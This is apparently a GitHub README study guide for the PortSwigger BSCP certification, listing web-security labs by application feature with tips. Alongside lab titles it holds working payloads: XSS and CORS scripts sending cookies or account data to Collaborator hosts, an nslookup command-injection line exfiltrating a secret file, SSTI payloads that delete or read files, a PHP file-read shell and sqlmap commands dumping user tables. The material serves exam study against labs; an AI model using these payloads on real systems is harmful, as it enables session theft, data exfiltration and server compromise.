X0Rhyth / **BSCP-Guide** Public

A study resource for the BSCP labs and exams.

19 stars 8 forks Branches Tags Activity

Star Notifications

Code Issues Pull requests Actions Projects Security Insights

1 Branch 0 Tags Go to file Go to file Code

X0Rhyth Update README.md 172fd01 · 4 months ago

README.md	Update README.md	4 months ago

README

BSCP-Guide

I was introduced to the invaluable BSCP guides, such as those by JuanBotes and DingyShark, much later in my learning journey, after I had already completed all the labs and finalized my notes. As a result, my notes follow an inherently different approach.

Instead of classifying the labs and the notes based on specific vulnerabilities, I've organized them according to their respective functionalities. This approach felt more intuitive to me, not only for preparing for the exam but also for developing a comprehensive mental map of black-box web application penetration testing in general.

While it's not set in stone that certain vulnerabilities can only be found within specific functionalities in the wild, this approach provides a strong foundation for identifying vulnerabilities in targeted areas. It is especially useful within the context of the BSCP, serving as a glossary for all relevant functionalities and all their associated vulnerabilities.

This is a link to all the labs. Simply select the functionality or instance you're interested in testing from the glossary, identify which labs are relevant, and then locate the relevant lab in the link. Expert labs are included but You can safely ignore them if you are just preparing for the exam.

I have highlighted the labs that I found to be uniquely important within their respective functionalities and added tips that might prove useful in certain scenarios.

Glossary

Login Functionality

* Brute-force

- Username enumeration via different responses
- Username enumeration via subtly different responses
- Username enumeration via response timing
- Broken brute-force protection, IP block
- Username enumeration via account lock
- Broken brute-force protection, multiple credentials per request

* 2-Factor-Authentication

- 2FA simple bypass
- 2FA broken logic
- 2FA bypass using a brute-force attack(the app logs you out automatically after two failed attempts of 2FA)

* SQL injection

- SQL injection vulnerability allowing login bypass

* Race Conditions

- Bypassing rate limits via race conditions

* Application logic

- Authentication bypass via flawed state machine (the intercepted role selector request must be dropped before reaching the server)

* NoSQL injection

- Exploiting NoSQL operator injection to bypass authentication
- Exploiting NoSQL operator injection to extract unknown fields

Forgot password functionality

* HTTP host header attacks

- ***Basic password reset poisoning***

  Tip: Portswigger has an amazing list in case a host header vulnerability is present but the server is implementing URL validation techniques https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet

- Password reset poisoning via dangling markup

* Brute-force

- Username enumeration via different responses
- ***Username enumeration via subtly different responses***

* 2-Factor-Authentication

- 2FA simple bypass
- 2FA broken logic
- 2FA bypass using a brute-force attack(the app logs you out automatically after two failed attempts of 2FA)

* Race conditions

- Exploiting time-sensitive vulnerabilities

* Authentication Issues

- Password reset broken logic(accepts submission without token value)
- Password reset poisoning via middleware

* Server-side parameter pollution

- Exploiting server-side parameter pollution in a query string
- Exploiting server-side parameter pollution in a REST URL

* Flawed Access Control

- ***User role controlled by request parameter***

  Tip: In this lab by changing the Admin:false cookie to Admin:true the server grants us Admin privileges right away. However, some servers have validation techniques that don't accept Admin:true unless it was issued by the server itself. In this case we search for app functionalities that aren't expecting already authenticated users to use them (like pre-login forgot password functionality). If vulnerable they might only validate the username part of the cookie and not the login status part. And so they issue authenticated cookies for random users.

Blog posts

* HTTP request smuggling

- Exploiting HTTP request smuggling to deliver reflected XSS (User-agent header is reflected in the app's response)
- ***Exploiting HTTP request smuggling to capture other users' requests***

  Tip: If automated scanning detects a "dualchunk" vulnerability, this means that one of the servers can be induced not to process the Transfer-Encoding header by supplying dual Transfer-Encoding headers as follows:

  Transfer-encoding: chunked

  Transfer-encoding: whatever

- Exploiting HTTP request smuggling to perform web cache poisoning

* Open redirection

- DOM-based open redirection

* Stored XSS

- Stored XSS into HTML context with nothing encoded
- Exploiting cross-site scripting to steal cookies
- Stored DOM XSS
- Exploiting cross-site scripting to capture passwords
- Stored XSS into anchor href attribute with double quotes HTML-encoded (Website input field)
- Exploiting XSS to perform CSRF

* XXE

- Exploiting XXE via image file upload

* SSTI

- Server-side template injection with a custom exploit
- Basic server-side template injection (code context)

.git path available

- Information disclosure in version control history

Account Registeration Functionality

* Application Logic

- Bypassing access controls using email address parsing discrepancies

* Race Conditions

- Partial construction race conditions

addEventListener() located in app respone

- DOM XSS using web messages
- DOM XSS using web messages and a JavaScript URL
- ***DOM XSS using web messages and JSON.parse***

Tip: In this lab we used this payload to fire the print() function.

```
 <iframe src=https://YOUR-LAB-ID.web-security-academy.net/
onload='this.contentWindow.postMessage("{\"type\":\"load-
channel\",\"url\":\"javascript:print()\"}","*")'>
```

However if we want to steal the victim's cookies instead, we can use this payload.

```
 <iframe src=https://YOUR-LAB-ID.web-security-academy.net/
onload='this.contentWindow.postMessage("{\"type\":\"load-
channel\",\"url\":\"JavaScript:location=`https://COLLAB-ID.oastify.com?
cookie=`+document.domain\"}","*")'>
```

Restricted App functionalities (ie. Admin Panel etc)

* Only certain-domain users (DontWannaCry) can access admin panel

- Inconsistent handling of exceptional input (the server only reads 255 chars after an email is registered)
- Inconsistent security controls (change email function doesn't verify the newly added email)

* Change request method

- Method-based access control can be circumvented

* TRACE Method

- Authentication bypass via information disclosure

* HTTP Headers

- URL-based access control can be circumvented

Advanced Search Functionality

- SQL injection to retreive Administrator cookies through advanced search (Practice Exam)

- Here we use the asterisk (*) to set the injection point for sqlmap. Which is the "order" parameter in this scenario.

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filtered_search?
find=cizipbkq&organize=4&order=ASC*&BlogArtist=Sophie+Mail' --random-agent --
time-sec 10 --cookie='session=YOUR-SESSION-COOKIE' --level 5 and --risk 3 --
dbs
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filtered_search?
find=cizipbkq&organize=4&order=ASC*&BlogArtist=Sophie+Mail' --random-agent --
time-sec 10 --cookie='session=YOUR-SESSION-COOKIE' --level 5 and --risk 3 --
tamper="between,randomcase,space2comment" --dbs
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filtered_search?
find=cizipbkq&organize=4&order=ASC*&BlogArtist=Sophie+Mail' --random-agent --
time-sec 10 --cookie='session=YOUR-SESSION-COOKIE' --level 5 and --risk 3 -D
public --tables
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filtered_search?
find=cizipbkq&organize=4&order=ASC*&BlogArtist=Sophie+Mail' --random-agent --
time-sec 10 --cookie='session=YOUR-SESSION-COOKIE' --level 5 and --risk 3 --
tamper="between,randomcase,space2comment" -D public --tables
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filtered_search?
find=cizipbkq&organize=4&order=ASC*&BlogArtist=Sophie+Mail' --random-agent --
time-sec 10 --cookie='session=YOUR-SESSION-COOKIE' --level 5 and --risk 3 -D
public -T users --dump
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filtered_search?
find=cizipbkq&organize=4&order=ASC*&BlogArtist=Sophie+Mail' --random-agent --
time-sec 10 --cookie='session=YOUR-SESSION-COOKIE' --level 5 and --risk 3 --
tamper="between,randomcase,space2comment" -D public -T users --dump
```

Check Stock functionality

* SSRF

- Basic SSRF against the local server
- Basic SSRF against another back-end system
- SSRF with blacklist-based input filter
- SSRF with whitelist-based input filters
- SSRF with filter bypass via open redirection vulnerability

* XXE

- Exploiting XXE using external entities to retrieve files
- Exploiting XXE to perform SSRF attacks

- Blind XXE with out-of-band interaction
- Blind XXE with out-of-band interaction via XML parameter entities
- Exploiting blind XXE to exfiltrate data using a malicious external DTD
- Exploiting blind XXE to retrieve data via error messages
- Exploiting XXE to retrieve data by repurposing a local DTD
- Exploiting XInclude to retrieve files
- Exploiting XXE via image file upload
- XXE attacks via modified content type

* Command Injection

- OS command injection, simple case

* DOM XSS

- DOM XSS in document.write sink using source location.search inside a select element

* SQL Injection

- SQL injection with filter bypass via XML encoding

Cart functionality

- Excessive trust in client-side controls (change the price of an item manually)
- High-level logic vulnerability (add negative values of products to eventually reach a range within the available store credit after adding a product)
- Insufficient workflow validation (the app confirms the purchase to all the items in cart without checking the store credit)
- Low-level logic flaw(add too many products to loop back around to the minimum possible value to eventually reach a range within the available store credit after adding a product)
- Exploiting a mass assignment vulnerability

Change password after login functionality

- Weak isolation on dual-use endpoint (the current password functionality depends on the param being present, when it is not present the server doesn't check for the current pass when changing the password, the user whose password is changed is determined by the username parameter.)
- Password brute-force via password change

Clickjacking

- Basic clickjacking with CSRF token protection
- Clickjacking with form input data prefilled from a URL parameter
- Clickjacking with a frame buster script
- Exploiting clickjacking vulnerability to trigger DOM-based XSS
- Multistep clickjacking

CORS (The application's response contains the Access-Control-Allow-Credentials:True header)

Tip: Make sure the ParamMiner burp extension is turned off before testing for and exploiting CORS.

- CORS vulnerability with basic origin reflection
- ***CORS vulnerability with trusted null origin***

Special Code that returns the first 22 lines of the response (When Access-Control-Allow-Credentials: true) :-

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="about:blank" id="responseFrame"></iframe>`
`<script>
var req = new XMLHttpRequest();
req.open('get', 'https://LAB-ID.web-security-academy.net/accountDetails',
true);
req.withCredentials = true;
req.onreadystatechange = function() {
if (req.readyState === 4 && req.status === 200) {
var lines = req.responseText.split('\n');
var firstTenLines = lines.slice(0, 22).join('\n');
// Modify the URL below to the actual server where you want to send the data
var serverURL = 'https://COLLAB-ID.oastify.com/log?key=';
var frame = document.getElementById('responseFrame');
frame.src = serverURL + encodeURIComponent(firstTenLines);
}
};
req.send();
</script>
```

- CORS vulnerability with trusted insecure protocols
- CORS vulnerability with internal network pivot attack

CSRF

- CSRF vulnerability with no defenses
- CSRF where token validation depends on request method
- ***CSRF where token validation depends on token being present (when it is not present the server validates automatically)***
- CSRF where token is not tied to user session
- CSRF where token is tied to non-session (csrfKey) cookie (and the search term gets reflected in the Set-Cookie header in the response)
- CSRF where token is duplicated in cookie (and the search term gets reflected in the Set-Cookie header)
- ***CSRF where Referer validation depends on header being present(when it is not present the vulnerable app validates automatically)***
- CSRF with broken Referer validation
- SameSite Lax bypass via method override
- SameSite Lax bypass via cookie refresh
- SameSite Strict bypass via client-side redirect
- SameSite Strict bypass via sibling domain

Delete account functionality

- Using application functionality to exploit insecure deserialization

Download HTML as PDF functionality (wkhtmltopdf)

Tip : wkhtmltopdf is a command line tool that renders HTML into PDF and various image formats. Older versions are vulnerable to an SSRF vulnerability that allows local file inclusion. https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/

To exploit it, We simply inject our malicious code into the data intended to be rendered by wkhtmltopdf so when the tool renders the data our code is executed. This command renders all the available files on the localhost machine.

```
<iframe src='http://localhost:6566/' height='500' width='500'>
```

From there we can pick which specific file we want to view.

Edit product description functionality

- Server-side template injection using documentation
- Server-side template injection with information disclosure via user-supplied objects
- Server-side template injection in a sandboxed environment

File Upload functionality

- Remote code execution via web shell upload
- Web shell upload via Content-Type restriction bypass
- Web shell upload via path traversal
- Web shell upload via extension blacklist bypass
- ***Remote file Inclusion***

  Tip: In the labs we create our own shell.php file and upload it on the server directly. However if the server allows RFI we could simply use the exploit server to host our shell.php file containing the following code. `<?php echo file_get_contents('/home/carlos/secret'); ?>` If the server is implementing filtering techniques, for example, to only accept remote links with JPG extension. We can simply obfuscate our link as follows.

  ```
  https://exploit-server.com/shell.php%00file.jpg
  ```

  ```
  https://exploit-server.com/shell.php#file.jpg
  ```

  More techniques could be found here. https://portswigger.net/web-security/file-upload#obfuscating-file-extensions

- ***Web shell upload via obfuscated file extension***
- Remote code execution via polyglot web shell upload
- Web shell upload via race condition
- Using PHAR deserialization to deploy a custom gadget chain

Gift Card functionality

* Application Logic

- Flawed enforcement of business rules (limits on using the coupon more than once is bypassed when you alternate between the two codes)
- Infinite money logic flaw (we buy gift card at discounts then redeem them)

* Race conditions

- Limit overrun race conditions
- Multi-endpoint race conditions
- Single-endpoint race conditions (Collision in change email functionality)

Images Functionality

Tip: We try path traversal techniques and command injection techniques against the available image's parameters.

* Path Traversal

- File path traversal, simple case
- File path traversal, traversal sequences blocked with absolute path bypass
- File path traversal, traversal sequences stripped non-recursively
- File path traversal, traversal sequences stripped with superfluous URL-decode
- File path traversal, validation of start of path
- File path traversal, validation of file extension with null byte bypass

* Command Injection

- Blind OS command injection with time delays
- Blind OS command injection with output redirection

- Blind OS command injection with out-of-band interaction
- ***Blind OS command injection with out-of-band data exfiltration***

  Tip: In this lab we used this command to interact with the collabrater

  ```
   x||nslookup+<collaborator>||
  ```

  We could use this payload to read a file.

  ```
  1||nslookup+$(cat+/home/carlos/secret).<collaborator>%26
  ```

GraphQL Vulnerabilities

Common endpoint names

/graphql /api /api/graphql /graphql/api /graphql/graphql

Universal queries

query{__typename}

- Accidental exposure of private GraphQL fields
- Finding a hidden GraphQL endpoint
- Bypassing GraphQL brute force protections
- Performing CSRF exploits over GraphQL

HTTP Host Header Attacks

- Web cache poisoning via ambiguous requests
- Host header authentication bypass
- Routing-based SSRF
- SSRF via flawed request parsing
- Host validation bypass via connection state attack
- Basic password reset poisoning
- Password reset poisoning via dangling markup

HTTP Request Smuggling

* HTTP/1

- Finding CL.TE vulnerabilities using timing techniques
- Finding TE.CL vulnerabilities using timing techniques (Make sure Update content length is disabled and the request is HTTP/1)
- HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
- HTTP request smuggling, confirming a TE.CL vulnerability via differential responses (Make sure Update content length is disabled and the request is HTTP/1)
- HTTP request smuggling, basic CL.TE vulnerability
- Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
- HTTP request smuggling, basic TE.CL vulnerability (Make sure Update content length is disabled and the request is HTTP/1)
- Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability (Make sure Update content length is disabled and the request is HTTP/1)
- ***HTTP request smuggling, obfuscating the TE header*** (Here the backend ignores the Transfer-Encoding header when a duplicate Transfer-Encoding header is supplied with an obfuscated value)
- Exploiting HTTP request smuggling to reveal front-end request rewriting
- Exploiting HTTP request smuggling to capture other users' requests
- Exploiting HTTP request smuggling to deliver reflected XSS
- Exploiting HTTP request smuggling to perform web cache poisoning
- Exploiting HTTP request smuggling to perform web cache deception
- CL.0 request smuggling

* HTTP/2

- H2.TE vulnerabilities (HTTP/1 downgrading)
- H2.CL request smuggling (HTTP/2 lousy content-length header matching when downgrading to HTTP/1)
- HTTP/2 request smuggling via CRLF injection (using ketteled requests to dodge the HTTP/2 prohibition of the transfer-encoding

* Response queue Poisoning

- Response queue poisoning via H2.TE request smuggling
- HTTP/2 request splitting via CRLF injection

* Request Tunneling

- Bypassing access controls via HTTP/2 request tunnelling
- Web cache poisoning via HTTP/2 request tunnelling

* Client-side Desync

- Client-side desync
- Browser cache poisoning via client-side desync

* Pause-based desync

- Server-side pause-based request smuggling

JWT Tokens

- JWT authentication bypass via unverified signature
- JWT authentication bypass via flawed signature verification
- JWT authentication bypass via weak signing key
- JWT authentication bypass via jwk header injection
- JWT authentication bypass via jku header injection
- JWT authentication bypass via kid header path traversal
- JWT authentication bypass via algorithm confusion
- JWT authentication bypass via algorithm confusion with no exposed key

Cookies

* Last Viewed Product Cookie

- DOM-based cookie manipulation

* TrackingId Cookie

- Blind SQL injection with conditional responses

- Here we use the asterisk (*) to set the injection point for sqlmap. Which is the "TrackingId" cookie in this scenario.

```
sqlmap -u 'https://LAB-ID.web-security-academy.net:443/filter?
category=Accessories' --skip='category' --random-agent --time-sec 10 --
cookie='TrackingId=eKLTgodSyebWTRiH*;session=AAA4L6ovsQN6tiZgGOpOIVkN0SSdxDBc'
--dbs
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net:443/filter?
category=Accessories' --skip='category' --random-agent --time-sec 10 --
cookie='TrackingId=eKLTgodSyebWTRiH*;session=AAA4L6ovsQN6tiZgGOpOIVkN0SSdxDBc'
-D public --tables
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net:443/filter?
category=Accessories' --skip='category' --random-agent --time-sec 10 --
cookie='TrackingId=eKLTgodSyebWTRiH*;session=AAA4L6ovsQN6tiZgGOpOIVkN0SSdxDBc'
-D public -T users --dump
```

- Blind SQL injection with out-of-band data exfiltration
- Blind SQL injection with out-of-band interaction

* "Admin:False" Cookie

- ***User role controlled by request parameter***

  Tip: In this lab by changing the Admin:false cookie to Admin:true the server grants us Admin privileges right away. However, some servers have validation techniques that don't accept Admin:true unless it was issued by the server itself. In this case we search for app functionalities that aren't expecting already authenticated users to use them (like pre-login forgot password functionality). If vulnerable they might only validate the username part of the cookie and not the login status part. And so they issue authenticated cookies for random users.

* Stay logged in Cookie

- Authentication bypass via encryption oracle (use the server's encrypt and decrypt mechanism to decrypt the stay-logged-in cookie and see its structure, to craft a stay-logged in cookie for admin user)

* Session Cookies

- Stored XSS in Session Cookie
- Using application functionality to exploit insecure deserialization

- Modifying serialized objects
- Modifying serialized data types
- Arbitrary object injection in PHP
- Exploiting Java deserialization with Apache Commons
- Exploiting PHP deserialization with a pre-built gadget chain
- Exploiting Ruby deserialization using a documented gadget chain
- Developing a custom gadget chain for Java deserialization (
- Developing a custom gadget chain for PHP deserialization

Live Chat Functionality

* Flawed Acceess Control

- Insecure direct object references (IDOR)

* Web LLM Attacks

- Exploiting LLM APIs with excessive agency
- Exploiting vulnerabilities in LLM APIs
- Indirect prompt injection
- Exploiting insecure output handling in LLMs

* Web Sockets

- Manipulating WebSocket messages to exploit vulnerabilities
- Manipulating the WebSocket handshake to exploit vulnerabilities
- Cross-site WebSocket hijacking

Maintenance jobs and child processes

* Prototype pollution

- Remote code execution via server-side prototype pollution
- Exfiltrating sensitive data via server-side prototype pollution
- DOM XSS via client-side prototype pollution

- DOM XSS via an alternative prototype pollution vector
- Client-side prototype pollution via flawed sanitization
- Client-side prototype pollution in third-party libraries
- Client-side prototype pollution via browser APIs

OAuth Functionality

Tip: The response_type parameter for implicit grant type is usually set to "token" while for Authorization code grant type it is set to "Code"

- Authentication bypass via OAuth implicit flow
- Flawed CSRF protection
- Forced OAuth profile linking
- OAuth account hijacking via redirect_uri
- Stealing OAuth access tokens via an open redirect
- Stealing OAuth access tokens via a proxy page
- SSRF via OpenID dynamic client registration

Path Traversal

- File path traversal, simple case
- File path traversal, traversal sequences blocked with absolute path bypass
- File path traversal, traversal sequences stripped non-recursively
- File path traversal, traversal sequences stripped with superfluous URL-decode
- File path traversal, validation of start of path
- File path traversal, validation of file extension with null byte bypass

View Product pages Functionality

* SSRF

- Blind SSRF with out-of-band detection
- Blind SSRF with Shellshock exploitation

* SSTI

- Basic server-side template injection
- Server-side template injection in an unknown language with a documented exploit

* Information Disclosure

- Information disclosure in error messages
- Information disclosure on debug page

Promote users Functionality

* Flawed Access Control

- Multi-step process with no access control on one step
- Referer-based access control (Promote Yourself to admin using the right referer header and your own non admin session cookie)
- Method-based access control can be circumvented

Configure Password-Reset Email Functionality

* SSTI

- Basic server-side template injection
- ***Basic server-side template injection (code context)***

Tip: In this lab we used the following code to inject the template.

```
{{user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')}}
```

However, depending on the different code contexts and defences, we could use this code..

```
{{username}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read()
}}
```

Robots.txt

- Unprotected admin functionality
- Source code disclosure via backup files

Vulnerable URL Parameters

* SQL Injection

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filter?
category=Accessories' --random-agent --time-sec 10 --
cookie='TrackingId=GUBpz9hcYzRjNlGe*;session=6RxgvjoS8qWLUdHS8OogcVuMtyGZSDxP'
--dbs
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filter?
category=Accessories' --random-agent --time-sec 10 --
cookie='TrackingId=GUBpz9hcYzRjNlGe*;session=6RxgvjoS8qWLUdHS8OogcVuMtyGZSDxP'
-D public --tables
```

```
sqlmap -u 'https://LAB-ID.web-security-academy.net/filter?
category=Accessories' --random-agent --time-sec 10 --
cookie='TrackingId=GUBpz9hcYzRjNlGe*;session=6RxgvjoS8qWLUdHS8OogcVuMtyGZSDxP'
-D public -T users --dump
```

- Blind SQL injection with out-of-band interaction
- Blind SQL injection with out-of-band data exfiltration

* NoSQL Injection

- Detecting NoSQL injection

* SSTI

- Basic server-side template injection
- Server-side template injection in an unknown language with a documented exploit

* DOM XSS

- DOM XSS in jQuery anchor href attribute sink using location.search source

* Flawed Access Control

- User ID controlled by request parameter
- User ID controlled by request parameter, with unpredictable user IDs
- User ID controlled by request parameter with data leakage in redirect
- User ID controlled by request parameter with password disclosure

Submit Feedback functionality

* Command Injection

- Blind OS command injection with time delays
- Blind OS command injection with output redirection
- Blind OS command injection with out-of-band interaction
- Blind OS command injection with out-of-band data exfiltration

Update User data functionality

* Update Email Functionality

- ***User role can be modified in user profile (Flawed Access Control)***

Tip: In this lab the admin's role ID is "2". However we must assume that the admin's role ID in other scenarios could be any number. We could use burp intruder to bruteforce a set of numbers and search for unique responses.

- Exploiting an API endpoint using documentation

* Update Billing and delivery address

- Detecting server-side prototype pollution without polluted property reflection
- Bypassing flawed input filters for server-side prototype pollution
- Remote code execution via server-side prototype pollution
- Exfiltrating sensitive data via server-side prototype pollution

* Update Name

- Testing for server-side parameter pollution in structured data formats

Page Source

* Flawed Access Control

- Unprotected admin functionality with unpredictable URL

Web Cache

* Web Cache Poisoning

- ***Web cache poisoning with an unkeyed header***
- Web cache poisoning with an unkeyed cookie
- Web cache poisoning with multiple headers (we poison the cache with host header and nohttps scheme header to redirect the victim to our exploit server)
- Targeted web cache poisoning using an unknown header
- Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
- Combining web cache poisoning vulnerabilities
- Web cache poisoning via an unkeyed query string
- Web cache poisoning via an unkeyed query parameter
- Parameter cloaking
- Web cache poisoning via a fat GET request
- URL normalization (This is a normal XSS vuln that wouldn't execute because the browser encodes the malicious URL but the server doesn't decode it, So we take advantage of the cache URL normalization to execute the XSS)
- Cache key injection
- Internal cache poisoning
- Web cache poisoning via ambiguous requests

* Web Cache Deception

- Exploiting path mapping for web cache deception ("/my-account/abc.js" is understood by the origin server as “/my-account” but by the cache server as cachable “/my-account/abc.js”)
- Exploiting path delimiters for web cache deception (“/my-account;abc.js” is understood by the origin server as “/my-account” but by the cache server as cachable “ /my-account;abc.js”. Server must see ; as a delimeter but the cache shouldn't see it as such for the attack to succeed.)
- Exploiting origin server normalization for web cache deception
- Exploiting cache server normalization for web cache deception

- Exploiting exact-match cache rules for web cache deception

XSS

* Search Field

Tip: The majority of lab payloads aim for firing alert() or print() functions. However in case we want to retrieve the victim's cookies instead, we have to adjust our payloads accordingly. Portswigger has another amazing guide on how to obfusacate your payloads in case some special chars were blocked by the server. https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings

Some prefer to encode the retreived cookie to avoid any unintentional tampering during the retrieval process. However, this is not always necessary. Whether you decide to encode the retrieved cookie or not tho, remember to always URL encode your entire payload as a final step before delivering it to the victim to avoid any pitfalls. Some payloads that may come in handy.

```
<img src='x' onerror='let cookie = document.cookie;let encodedCookie =
encodeURIComponent(cookie);fetch("https://COLLAB-ID.oastify.com?data="+
encodedCookie)'>
<script>document.location="https://LAB-ID.web-security-academy.net/?
SearchTerm="-fetch('https://COLLAB-ID\u002eoastify\u002ecom?
data='+encodeURIComponent(document['cookie']))}//"</script>
<script>document.location="https://LAB-ID.web-security-academy.net/?find="-
eval.call`${'fetch\x28\x27https://COLLAB-ID.oastify.com?
data=\x27+encodeURIComponent\x28document.cookie\x29\x29'}`}//"</script>
```

- XSS with body tag and onresize event possible
- XSS with custom tag and onfocus event possible
- XSS with svg>animatetransform and onbegin event possible
- Reflected XSS vulnerability with svg, a and animate tags possible while all events and anchor href attributes are blocked..
- Reflected XSS into a JavaScript string with single quote and backslash escaped
- Reflected XSS protected by very strict CSP, with dangling markup attack
- Reflected XSS protected by CSP, with CSP bypass
- Reflected XSS in a JavaScript URL with some characters blocked
- Reflected XSS into input tag using attribute cuz angle brackets are HTML-encoded
- Reflected XSS into a JavaScript string with angle brackets HTML encoded

- Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
- Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
- DOM XSS in document.write sink using source location.search
- DOM XSS in innerHTML sink using source location.search
- Reflected DOM XSS

Releases

No releases published

Packages

No packages published